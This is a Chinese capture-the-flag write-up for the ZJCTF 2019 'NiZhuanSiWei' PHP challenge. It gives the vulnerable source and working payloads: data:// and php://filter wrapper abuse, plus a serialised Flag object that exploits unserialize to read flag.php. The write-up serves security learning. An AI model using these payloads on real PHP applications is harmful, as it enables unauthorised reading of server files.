zoukankan      html  css  js  c++  java
  • [ZJCTF 2019]NiZhuanSiWei

    题目源码如下

     <?php  
    $text = $_GET["text"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    }
    else{
        highlight_file(__FILE__);
    }
    ?> 

    源码分析

    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

    需要让$text输入 ”welcome to the zjctf“ 传入文件中才能进行后面的步骤, 这里可以用php://input伪协议在以POST形式传入“ welcome to the zjctf "   也可以用data伪协议传参

    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

    接着看到

    if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
     

    直接正则过滤掉flag关键字,提示一个useless.php 用php://filter协议来读取

    结合题目构造payload

    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

    base64解码获得useless.php源码

    <?php  
    
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  

    根据源代码在本地获得序列化结果

    <?php  
    class Flag{
        public $file='flag.php';  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    } 
    $password=new Flag();
    $password = serialize($password);
    echo $password; 
    ?>  

    结果为

    O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

    最终的payload为

    ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    flag在F12源代码里面

    
    
    
  • 相关阅读:
    solr初步了解
    jieba初步了解
    情感计算emokit
    常用命令
    java跨域访问问题记录
    mysql 免安装版配置
    Android 图片缩放方法
    spring android http
    sql join 与where的区别
    android activitygroup 使用
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12255777.html
Copyright © 2011-2022 走看看